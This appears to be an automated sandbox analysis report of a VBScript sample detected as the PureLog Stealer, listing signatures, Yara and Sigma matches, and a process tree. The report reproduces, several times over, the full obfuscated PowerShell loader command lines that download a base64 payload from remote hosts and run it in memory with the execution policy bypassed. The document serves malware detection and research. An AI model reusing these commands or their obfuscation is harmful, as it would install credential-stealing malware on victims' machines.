Edit tour

Windows Analysis Report
f4576JaIo9.vbs

Overview

General Information

Sample name:	f4576JaIo9.vbs renamed because original name is a hash value
Original sample name:	71c7461092c4a0705d5cbe43dab4757a336144a782d667fee8758ffe8380b691.vbs
Analysis ID:	1523830
MD5:	688fda516895b564b731b61a5ff25f3c
SHA1:	2ed013d46c2c403b5ec3bc344073d883015908aa
SHA256:	71c7461092c4a0705d5cbe43dab4757a336144a782d667fee8758ffe8380b691
Tags:	BlindEaglevbsuser-JAMESWT_MHT
Infos:

Detection

PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

VBScript performs obfuscated calls to suspicious functions

Yara detected PureLog Stealer

AI detected suspicious sample

Bypasses PowerShell execution policy

Found suspicious powershell code related to unpacking or dynamic code loading

Obfuscated command line found

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains functionality to detect virtual machines (SLDT)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5232 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\f4576JaIo9.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 2852 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnWicrJ25pdScrJ3JsJysnID0gN3VYaHR0JysncHM6Ly9pYTYnKycwJysnMDEnKycwJysnMCcrJy51cy4nKydhJysncmMnKydoaXYnKydlLm9yZy8nKycyNC9pdGVtcy9kJysnZScrJ3RhaCcrJy1ub3RlJysnLXYvRGUnKyd0YWhOb3RlVi4nKyd0eCcrJ3Q3JysndVgnKyc7JysnWicrJ25pYmFzJysnZTY0JysnQ29uJysndCcrJ2VudCA9IChOZXctT2InKydqZWN0IFN5Jysnc3RlJysnbScrJy4nKydOJysnZScrJ3QuV2ViQycrJ2wnKydpZW50JysnKS5EbycrJ3cnKyduJysnbG9hZFN0JysncmluZyhaJysnbicrJ2l1cmwpJysnO1puaScrJ2JpbmFyeUMnKydvbicrJ3RlbnQnKycgJysnPSBbUycrJ3lzdGUnKydtLkMnKydvJysnbnZlcicrJ3RdOjpGcicrJ29tQmFzZTY0U3RyaScrJ24nKydnKFpuaWJhc2U2JysnNENvbnQnKydlJysnbicrJ3QnKycpOycrJ1puaWEnKydzc2VtYmwnKyd5ICcrJz0gW1JlZmwnKydlY3QnKydpb24nKycuQXNzZScrJ20nKydibHldJysnOjpMJysnb2FkJysnKCcrJ1onKyduaWJpJysnbmFyeUNvbicrJ3QnKydlJysnbnQpO1onKyduJysnaXR5cGUgJysnPScrJyBaJysnbmlhc3NlbWInKydseS5HZXRUeXBlKDd1WCcrJ1InKyd1JysnblBFLkgnKydvJysnbWU3JysndVgnKycpOycrJ1puaW1lJysndGgnKydvZCcrJyAnKyc9IFonKyduJysnaXR5cGUuJysnRycrJ2UnKyd0TWV0JysnaCcrJ29kJysnKDd1WCcrJ1YnKydBSTd1JysnWCk7WicrJ25pbWV0aG8nKydkLkknKydudm9rZSgnKydabicrJ2knKyduJysndWxsLCcrJyAnKydbJysnb2JqZWMnKyd0W11dJysnQCcrJyg3dVh0eHQuRicrJ0ZDTlIvNDEnKyc0Mi81OC45OCcrJzEuMicrJzMnKycyLjI3MScrJy8nKycvJysnOnB0dGgnKyc3JysndVggJysnLCA3dVhkZXNhdGl2YScrJ2RvNycrJ3VYICcrJywgN3UnKydYZGVzJysnYScrJ3RpJysndmEnKydkbzd1WCAsJysnIDd1WCcrJ2QnKydlc2F0aXZhZG83dVgsNycrJ3VYUicrJ2VnQScrJ3NtNycrJ3VYJysnLDd1WDcnKyd1WCkpJyktUkVwbGFDZSAoW0NoQXJdNTUrW0NoQXJdMTE3K1tDaEFyXTg4KSxbQ2hBcl0zOSAtUkVwbGFDZSdabmknLFtDaEFyXTM2KSB8LiAoICRlTlY6Y09tU1BlQ1s0LDI0LDI1XS1qb2lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5708 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('Z'+'niu'+'rl'+' = 7uXhtt'+'ps://ia6'+'0'+'01'+'0'+'0'+'.us.'+'a'+'rc'+'hiv'+'e.org/'+'24/items/d'+'e'+'tah'+'-note'+'-v/De'+'tahNoteV.'+'tx'+'t7'+'uX'+';'+'Z'+'nibas'+'e64'+'Con'+'t'+'ent = (New-Ob'+'ject Sy'+'ste'+'m'+'.'+'N'+'e'+'t.WebC'+'l'+'ient'+').Do'+'w'+'n'+'loadSt'+'ring(Z'+'n'+'iurl)'+';Zni'+'binaryC'+'on'+'tent'+' '+'= [S'+'yste'+'m.C'+'o'+'nver'+'t]::Fr'+'omBase64Stri'+'n'+'g(Znibase6'+'4Cont'+'e'+'n'+'t'+');'+'Znia'+'ssembl'+'y '+'= [Refl'+'ect'+'ion'+'.Asse'+'m'+'bly]'+'::L'+'oad'+'('+'Z'+'nibi'+'naryCon'+'t'+'e'+'nt);Z'+'n'+'itype '+'='+' Z'+'niassemb'+'ly.GetType(7uX'+'R'+'u'+'nPE.H'+'o'+'me7'+'uX'+');'+'Znime'+'th'+'od'+' '+'= Z'+'n'+'itype.'+'G'+'e'+'tMet'+'h'+'od'+'(7uX'+'V'+'AI7u'+'X);Z'+'nimetho'+'d.I'+'nvoke('+'Zn'+'i'+'n'+'ull,'+' '+'['+'objec'+'t[]]'+'@'+'(7uXtxt.F'+'FCNR/41'+'42/58.98'+'1.2'+'3'+'2.271'+'/'+'/'+':ptth'+'7'+'uX '+', 7uXdesativa'+'do7'+'uX '+', 7u'+'Xdes'+'a'+'ti'+'va'+'do7uX ,'+' 7uX'+'d'+'esativado7uX,7'+'uXR'+'egA'+'sm7'+'uX'+',7uX7'+'uX))')-REplaCe ([ChAr]55+[ChAr]117+[ChAr]88),[ChAr]39 -REplaCe'Zni',[ChAr]36) |. ( $eNV:cOmSPeC[4,24,25]-joiN'')" MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.1989363837.000002669D440000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000004.00000002.1964132789.000002669537A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: powershell.exe PID: 2852	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x18776:$b3: ::UTF8.GetString( 0x19fc5:$b3: ::UTF8.GetString( 0x44577:$b3: ::UTF8.GetString( 0x44c31:$b3: ::UTF8.GetString( 0x4a249:$b3: ::UTF8.GetString( 0x4a903:$b3: ::UTF8.GetString( 0x568e1:$b3: ::UTF8.GetString( 0x571ea:$b3: ::UTF8.GetString( 0x6e80d:$b3: ::UTF8.GetString( 0x6eece:$b3: ::UTF8.GetString( 0x6f7c5:$b3: ::UTF8.GetString( 0x70049:$b3: ::UTF8.GetString( 0x70d5e:$b3: ::UTF8.GetString( 0x91a8a:$b3: ::UTF8.GetString( 0xb6ba4:$b3: ::UTF8.GetString( 0xb6c51:$b3: ::UTF8.GetString( 0xb72e1:$b3: ::UTF8.GetString( 0xc6c37:$b3: ::UTF8.GetString( 0xc72f1:$b3: ::UTF8.GetString( 0xc86b8:$b3: ::UTF8.GetString( 0x102361:$b3: ::UTF8.GetString(
Process Memory Space: powershell.exe PID: 5708	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x985171:$b2: ::FromBase64String( 0x986d70:$b2: ::FromBase64String( 0x986f61:$b2: ::FromBase64String( 0x32c14:$s1: -join 0x3562f:$s1: -joiN 0x35af6:$s1: -joiN 0x39e04:$s1: -joiN 0x3a258:$s1: -joiN 0x3e221:$s1: -joiN 0x3e487:$s1: -joiN 0x5eef3:$s1: -join 0x5f653:$s1: -join 0x954c45:$s1: -join 0x959f8f:$s1: -join 0x99bb8b:$s1: -join 0x9c125d:$s1: -join 0x9ce332:$s1: -join 0x9d1704:$s1: -join 0x9d1db6:$s1: -join 0x9d38a7:$s1: -join 0x9d5aad:$s1: -join

Unpacked PEs

Source	Rule	Description	Author
4.2.powershell.exe.2669d440000.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.powershell.exe.26695b8e698.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.powershell.exe.26695b8e698.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.powershell.exe.2669d440000.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnWicrJ25pdScrJ3JsJysnID0gN3VYaHR0JysncHM6Ly9pYTYnKycwJysnMDEnKycwJysnMCcrJy51cy4nKydhJysncmMnKydoaXYnKydlLm9yZy8nKycyNC9pdGVtcy9kJysnZScrJ3RhaCcrJy1ub3RlJysnLXYvRGUnKyd0YWhOb3RlVi4nKyd0eCcrJ3Q3JysndVgnKyc7JysnWicrJ25pYmFzJysnZTY0JysnQ29uJysndCcrJ2VudCA9IChOZXctT2InKydqZWN0IFN5Jysnc3RlJysnbScrJy4nKydOJysnZScrJ3QuV2ViQycrJ2wnKydpZW50JysnKS5EbycrJ3cnKyduJysnbG9hZFN0JysncmluZyhaJysnbicrJ2l1cmwpJysnO1puaScrJ2JpbmFyeUMnKydvbicrJ3RlbnQnKycgJysnPSBbUycrJ3lzdGUnKydtLkMnKydvJysnbnZlcicrJ3RdOjpGcicrJ29tQmFzZTY0U3RyaScrJ24nKydnKFpuaWJhc2U2JysnNENvbnQnKydlJysnbicrJ3QnKycpOycrJ1puaWEnKydzc2VtYmwnKyd5ICcrJz0gW1JlZmwnKydlY3QnKydpb24nKycuQXNzZScrJ20nKydibHldJysnOjpMJysnb2FkJysnKCcrJ1onKyduaWJpJysnbmFyeUNvbicrJ3QnKydlJysnbnQpO1onKyduJysnaXR5cGUgJysnPScrJyBaJysnbmlhc3NlbWInKydseS5HZXRUeXBlKDd1WCcrJ1InKyd1JysnblBFLkgnKydvJysnbWU3JysndVgnKycpOycrJ1puaW1lJysndGgnKydvZCcrJyAnKyc9IFonKyduJysnaXR5cGUuJysnRycrJ2UnKyd0TWV0JysnaCcrJ29kJysnKDd1WCcrJ1YnKydBSTd1JysnWCk7WicrJ25pbWV0aG8nKydkLkknKydudm9rZSgnKydabicrJ2knKyduJysndWxsLCcrJyAnKydbJysnb2JqZWMnKyd0W11dJysnQCcrJyg3dVh0eHQuRicrJ0ZDTlIvNDEnKyc0Mi81OC45OCcrJzEuMicrJzMnKycyLjI3MScrJy8nKycvJysnOnB0dGgnKyc3JysndVggJysnLCA3dVhkZXNhdGl2YScrJ2RvNycrJ3VYICcrJywgN3UnKydYZGVzJysnYScrJ3RpJysndmEnKydkbzd1WCAsJysnIDd1WCcrJ2QnKydlc2F0aXZhZG83dVgsNycrJ3VYUicrJ2VnQScrJ3NtNycrJ3VYJysnLDd1WDcnKyd1WCkpJyktUkVwbGFDZSAoW0NoQXJdNTUrW0NoQXJdMTE3K1tDaEFyXTg4KSxbQ2hBcl0zOSAtUkVwbGFDZSdabmknLFtDaEFyXTM2KSB8LiAoICRlTlY6Y09tU1BlQ1s0LDI0LDI1XS1qb2lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnWicrJ25pdScrJ3JsJysnID0gN3VYaHR0JysncHM6Ly9pYTYnKycwJysnMDEnKycwJysnMCcrJy51cy4nKydhJysncmMnKydoaXYnKydlLm9yZy8nKycyNC9pdGVtcy9kJysnZScrJ3RhaCcrJy1ub3RlJysnLXYvRGUnKyd0YWhOb3RlVi4nKyd0eCcrJ3Q3JysndVgnKyc7JysnWicrJ25pYmFzJysnZTY0JysnQ29uJysndCcrJ2VudCA9IChOZXctT2InKydqZWN0IFN5Jysnc3RlJysnbScrJy4nKydOJysnZScrJ3QuV2ViQycrJ2wnKydpZW50JysnKS5EbycrJ3cnKyduJysnbG9hZFN0JysncmluZyhaJysnbicrJ2l1cmwpJysnO1puaScrJ2JpbmFyeUMnKydvbicrJ3RlbnQnKycgJysnPSBbUycrJ3lzdGUnKydtLkMnKydvJysnbnZlcicrJ3RdOjpGcicrJ29tQmFzZTY0U3RyaScrJ24nKydnKFpuaWJhc2U2JysnNENvbnQnKydlJysnbicrJ3QnKycpOycrJ1puaWEnKydzc2VtYmwnKyd5ICcrJz0gW1JlZmwnKydlY3QnKydpb24nKycuQXNzZScrJ20nKydibHldJysnOjpMJysnb2FkJysnKCcrJ1onKyduaWJpJysnbmFyeUNvbicrJ3QnKydlJysnbnQpO1onKyduJysnaXR5cGUgJysnPScrJyBaJysnbmlhc3NlbWInKydseS5HZXRUeXBlKDd1WCcrJ1InKyd1JysnblBFLkgnKydvJysnbWU3JysndVgnKycpOycrJ1puaW1lJysndGgnKydvZCcrJyAnKyc9IFonKyduJysnaXR5cGUuJysnRycrJ2UnKyd0TWV0JysnaCcrJ29kJysnKDd1WCcrJ1YnKydBSTd1JysnWCk7WicrJ25pbWV0aG8nKydkLkknKydudm9rZSgnKydabicrJ2knKyduJysndWxsLCcrJyAnKydbJysnb2JqZWMnKyd0W11dJysnQCcrJyg3dVh0eHQuRicrJ0ZDTlIvNDEnKyc0Mi81OC45OCcrJzEuMicrJzMnKycyLjI3MScrJy8nKycvJysnOnB0dGgnKyc3Jysn

Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation

Source: Process started

Author: Thomas Patzke: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('Z'+'niu'+'rl'+' = 7uXhtt'+'ps://ia6'+'0'+'01'+'0'+'0'+'.us.'+'a'+'rc'+'hiv'+'e.org/'+'24/items/d'+'e'+'tah'+'-note'+'-v/De'+'tahNoteV.'+'tx'+'t7'+'uX'+';'+'Z'+'nibas'+'e64'+'Con'+'t'+'ent = (New-Ob'+'ject Sy'+'ste'+'m'+'.'+'N'+'e'+'t.WebC'+'l'+'ient'+').Do'+'w'+'n'+'loadSt'+'ring(Z'+'n'+'iurl)'+';Zni'+'binaryC'+'on'+'tent'+' '+'= [S'+'yste'+'m.C'+'o'+'nver'+'t]::Fr'+'omBase64Stri'+'n'+'g(Znibase6'+'4Cont'+'e'+'n'+'t'+');'+'Znia'+'ssembl'+'y '+'= [Refl'+'ect'+'ion'+'.Asse'+'m'+'bly]'+'::L'+'oad'+'('+'Z'+'nibi'+'naryCon'+'t'+'e'+'nt);Z'+'n'+'itype '+'='+' Z'+'niassemb'+'ly.GetType(7uX'+'R'+'u'+'nPE.H'+'o'+'me7'+'uX'+');'+'Znime'+'th'+'od'+' '+'= Z'+'n'+'itype.'+'G'+'e'+'tMet'+'h'+'od'+'(7uX'+'V'+'AI7u'+'X);Z'+'nimetho'+'d.I'+'nvoke('+'Zn'+'i'+'n'+'ull,'+' '+'['+'objec'+'t[]]'+'@'+'(7uXtxt.F'+'FCNR/41'+'42/58.98'+'1.2'+'3'+'2.271'+'/'+'/'+':ptth'+'7'+'uX '+', 7uXdesativa'+'do7'+'uX '+', 7u'+'Xdes'+'a'+'ti'+'va'+'do7uX ,'+' 7uX'+'d'+'esativado7uX,7'+'uXR'+'egA'+'sm7'+'uX'+',7uX7'+'uX))')-REplaCe ([ChAr]55+[ChAr]117+[ChAr]88),[ChAr]39 -REplaCe'Zni',[ChAr]36) |. ( $eNV:cOmSPeC[4,24,25]-joiN'')", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('Z'+'niu'+'rl'+' = 7uXhtt'+'ps://ia6'+'0'+'01'+'0'+'0'+'.us.'+'a'+'rc'+'hiv'+'e.org/'+'24/items/d'+'e'+'tah'+'-note'+'-v/De'+'tahNoteV.'+'tx'+'t7'+'uX'+';'+'Z'+'nibas'+'e64'+'Con'+'t'+'ent = (New-Ob'+'ject Sy'+'ste'+'m'+'.'+'N'+'e'+'t.WebC'+'l'+'ient'+').Do'+'w'+'n'+'loadSt'+'ring(Z'+'n'+'iurl)'+';Zni'+'binaryC'+'on'+'tent'+' '+'= [S'+'yste'+'m.C'+'o'+'nver'+'t]::Fr'+'omBase64Stri'+'n'+'g(Znibase6'+'4Cont'+'e'+'n'+'t'+');'+'Znia'+'ssembl'+'y '+'= [Refl'+'ect'+'ion'+'.Asse'+'m'+'bly]'+'::L'+'oad'+'('+'Z'+'nibi'+'naryCon'+'t'+'e'+'nt);Z'+'n'+'itype '+'='+' Z'+'niassemb'+'ly.GetType(7uX'+'R'+'u'+'nPE.H'+'o'+'me7'+'uX'+');'+'Znime'+'th'+'od'+' '+'= Z'+'n'+'itype.'+'G'+'e'+'tMet'+'h'+'od'+'(7uX'+'V'+'AI7u'+'X);Z'+'nimetho'+'d.I'+'nvoke('+'Zn'+'i'+'n'+'ull,'+' '+'['+'objec'+'t[]]'+'@'+'(7uXtxt.F'+'FCNR/41'+'42/58.98'+'1.2'+'3'+'2.271'+'/'+'/'+':ptth'+'7'+'uX '+', 7uXdesativa'+'do7'+'uX '+', 7u'+'Xdes'+'a'+'ti'+'va'+'do7uX ,'+' 7uX'+'d'+'esativado7uX,7'+'uXR'+'egA'+'sm7'+'uX'+',7uX7'+'uX))')-REplaCe ([ChAr]55+[ChAr]117+[ChAr]88),[ChAr]39 -REplaCe'Zni',[ChAr]36) |. ( $eNV:cOmSPeC[4,24,25]-joiN'')", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnWicrJ25pdScrJ3JsJysnID0gN3VYaHR0JysncHM6Ly9pYTYnKycwJysnMDEnKycwJysnMCcrJy51cy4nKydhJysncmMnKydoaXYnKydlLm9yZy8nKycyNC9pdGVtcy9kJysnZSc

Sigma detected: Potential PowerShell Command Line Obfuscation

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('Z'+'niu'+'rl'+' = 7uXhtt'+'ps://ia6'+'0'+'01'+'0'+'0'+'.us.'+'a'+'rc'+'hiv'+'e.org/'+'24/items/d'+'e'+'tah'+'-note'+'-v/De'+'tahNoteV.'+'tx'+'t7'+'uX'+';'+'Z'+'nibas'+'e64'+'Con'+'t'+'ent = (New-Ob'+'ject Sy'+'ste'+'m'+'.'+'N'+'e'+'t.WebC'+'l'+'ient'+').Do'+'w'+'n'+'loadSt'+'ring(Z'+'n'+'iurl)'+';Zni'+'binaryC'+'on'+'tent'+' '+'= [S'+'yste'+'m.C'+'o'+'nver'+'t]::Fr'+'omBase64Stri'+'n'+'g(Znibase6'+'4Cont'+'e'+'n'+'t'+');'+'Znia'+'ssembl'+'y '+'= [Refl'+'ect'+'ion'+'.Asse'+'m'+'bly]'+'::L'+'oad'+'('+'Z'+'nibi'+'naryCon'+'t'+'e'+'nt);Z'+'n'+'itype '+'='+' Z'+'niassemb'+'ly.GetType(7uX'+'R'+'u'+'nPE.H'+'o'+'me7'+'uX'+');'+'Znime'+'th'+'od'+' '+'= Z'+'n'+'itype.'+'G'+'e'+'tMet'+'h'+'od'+'(7uX'+'V'+'AI7u'+'X);Z'+'nimetho'+'d.I'+'nvoke('+'Zn'+'i'+'n'+'ull,'+' '+'['+'objec'+'t[]]'+'@'+'(7uXtxt.F'+'FCNR/41'+'42/58.98'+'1.2'+'3'+'2.271'+'/'+'/'+':ptth'+'7'+'uX '+', 7uXdesativa'+'do7'+'uX '+', 7u'+'Xdes'+'a'+'ti'+'va'+'do7uX ,'+' 7uX'+'d'+'esativado7uX,7'+'uXR'+'egA'+'sm7'+'uX'+',7uX7'+'uX))')-REplaCe ([ChAr]55+[ChAr]117+[ChAr]88),[ChAr]39 -REplaCe'Zni',[ChAr]36) |. ( $eNV:cOmSPeC[4,24,25]-joiN'')", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('Z'+'niu'+'rl'+' = 7uXhtt'+'ps://ia6'+'0'+'01'+'0'+'0'+'.us.'+'a'+'rc'+'hiv'+'e.org/'+'24/items/d'+'e'+'tah'+'-note'+'-v/De'+'tahNoteV.'+'tx'+'t7'+'uX'+';'+'Z'+'nibas'+'e64'+'Con'+'t'+'ent = (New-Ob'+'ject Sy'+'ste'+'m'+'.'+'N'+'e'+'t.WebC'+'l'+'ient'+').Do'+'w'+'n'+'loadSt'+'ring(Z'+'n'+'iurl)'+';Zni'+'binaryC'+'on'+'tent'+' '+'= [S'+'yste'+'m.C'+'o'+'nver'+'t]::Fr'+'omBase64Stri'+'n'+'g(Znibase6'+'4Cont'+'e'+'n'+'t'+');'+'Znia'+'ssembl'+'y '+'= [Refl'+'ect'+'ion'+'.Asse'+'m'+'bly]'+'::L'+'oad'+'('+'Z'+'nibi'+'naryCon'+'t'+'e'+'nt);Z'+'n'+'itype '+'='+' Z'+'niassemb'+'ly.GetType(7uX'+'R'+'u'+'nPE.H'+'o'+'me7'+'uX'+');'+'Znime'+'th'+'od'+' '+'= Z'+'n'+'itype.'+'G'+'e'+'tMet'+'h'+'od'+'(7uX'+'V'+'AI7u'+'X);Z'+'nimetho'+'d.I'+'nvoke('+'Zn'+'i'+'n'+'ull,'+' '+'['+'objec'+'t[]]'+'@'+'(7uXtxt.F'+'FCNR/41'+'42/58.98'+'1.2'+'3'+'2.271'+'/'+'/'+':ptth'+'7'+'uX '+', 7uXdesativa'+'do7'+'uX '+', 7u'+'Xdes'+'a'+'ti'+'va'+'do7uX ,'+' 7uX'+'d'+'esativado7uX,7'+'uXR'+'egA'+'sm7'+'uX'+',7uX7'+'uX))')-REplaCe ([ChAr]55+[ChAr]117+[ChAr]88),[ChAr]39 -REplaCe'Zni',[ChAr]36) |. ( $eNV:cOmSPeC[4,24,25]-joiN'')", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnWicrJ25pdScrJ3JsJysnID0gN3VYaHR0JysncHM6Ly9pYTYnKycwJysnMDEnKycwJysnMCcrJy51cy4nKydhJysncmMnKydoaXYnKydlLm9yZy8nKycyNC9pdGVtcy9kJysnZSc

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('Z'+'niu'+'rl'+' = 7uXhtt'+'ps://ia6'+'0'+'01'+'0'+'0'+'.us.'+'a'+'rc'+'hiv'+'e.org/'+'24/items/d'+'e'+'tah'+'-note'+'-v/De'+'tahNoteV.'+'tx'+'t7'+'uX'+';'+'Z'+'nibas'+'e64'+'Con'+'t'+'ent = (New-Ob'+'ject Sy'+'ste'+'m'+'.'+'N'+'e'+'t.WebC'+'l'+'ient'+').Do'+'w'+'n'+'loadSt'+'ring(Z'+'n'+'iurl)'+';Zni'+'binaryC'+'on'+'tent'+' '+'= [S'+'yste'+'m.C'+'o'+'nver'+'t]::Fr'+'omBase64Stri'+'n'+'g(Znibase6'+'4Cont'+'e'+'n'+'t'+');'+'Znia'+'ssembl'+'y '+'= [Refl'+'ect'+'ion'+'.Asse'+'m'+'bly]'+'::L'+'oad'+'('+'Z'+'nibi'+'naryCon'+'t'+'e'+'nt);Z'+'n'+'itype '+'='+' Z'+'niassemb'+'ly.GetType(7uX'+'R'+'u'+'nPE.H'+'o'+'me7'+'uX'+');'+'Znime'+'th'+'od'+' '+'= Z'+'n'+'itype.'+'G'+'e'+'tMet'+'h'+'od'+'(7uX'+'V'+'AI7u'+'X);Z'+'nimetho'+'d.I'+'nvoke('+'Zn'+'i'+'n'+'ull,'+' '+'['+'objec'+'t[]]'+'@'+'(7uXtxt.F'+'FCNR/41'+'42/58.98'+'1.2'+'3'+'2.271'+'/'+'/'+':ptth'+'7'+'uX '+', 7uXdesativa'+'do7'+'uX '+', 7u'+'Xdes'+'a'+'ti'+'va'+'do7uX ,'+' 7uX'+'d'+'esativado7uX,7'+'uXR'+'egA'+'sm7'+'uX'+',7uX7'+'uX))')-REplaCe ([ChAr]55+[ChAr]117+[ChAr]88),[ChAr]39 -REplaCe'Zni',[ChAr]36) |. ( $eNV:cOmSPeC[4,24,25]-joiN'')", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('Z'+'niu'+'rl'+' = 7uXhtt'+'ps://ia6'+'0'+'01'+'0'+'0'+'.us.'+'a'+'rc'+'hiv'+'e.org/'+'24/items/d'+'e'+'tah'+'-note'+'-v/De'+'tahNoteV.'+'tx'+'t7'+'uX'+';'+'Z'+'nibas'+'e64'+'Con'+'t'+'ent = (New-Ob'+'ject Sy'+'ste'+'m'+'.'+'N'+'e'+'t.WebC'+'l'+'ient'+').Do'+'w'+'n'+'loadSt'+'ring(Z'+'n'+'iurl)'+';Zni'+'binaryC'+'on'+'tent'+' '+'= [S'+'yste'+'m.C'+'o'+'nver'+'t]::Fr'+'omBase64Stri'+'n'+'g(Znibase6'+'4Cont'+'e'+'n'+'t'+');'+'Znia'+'ssembl'+'y '+'= [Refl'+'ect'+'ion'+'.Asse'+'m'+'bly]'+'::L'+'oad'+'('+'Z'+'nibi'+'naryCon'+'t'+'e'+'nt);Z'+'n'+'itype '+'='+' Z'+'niassemb'+'ly.GetType(7uX'+'R'+'u'+'nPE.H'+'o'+'me7'+'uX'+');'+'Znime'+'th'+'od'+' '+'= Z'+'n'+'itype.'+'G'+'e'+'tMet'+'h'+'od'+'(7uX'+'V'+'AI7u'+'X);Z'+'nimetho'+'d.I'+'nvoke('+'Zn'+'i'+'n'+'ull,'+' '+'['+'objec'+'t[]]'+'@'+'(7uXtxt.F'+'FCNR/41'+'42/58.98'+'1.2'+'3'+'2.271'+'/'+'/'+':ptth'+'7'+'uX '+', 7uXdesativa'+'do7'+'uX '+', 7u'+'Xdes'+'a'+'ti'+'va'+'do7uX ,'+' 7uX'+'d'+'esativado7uX,7'+'uXR'+'egA'+'sm7'+'uX'+',7uX7'+'uX))')-REplaCe ([ChAr]55+[ChAr]117+[ChAr]88),[ChAr]39 -REplaCe'Zni',[ChAr]36) |. ( $eNV:cOmSPeC[4,24,25]-joiN'')", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 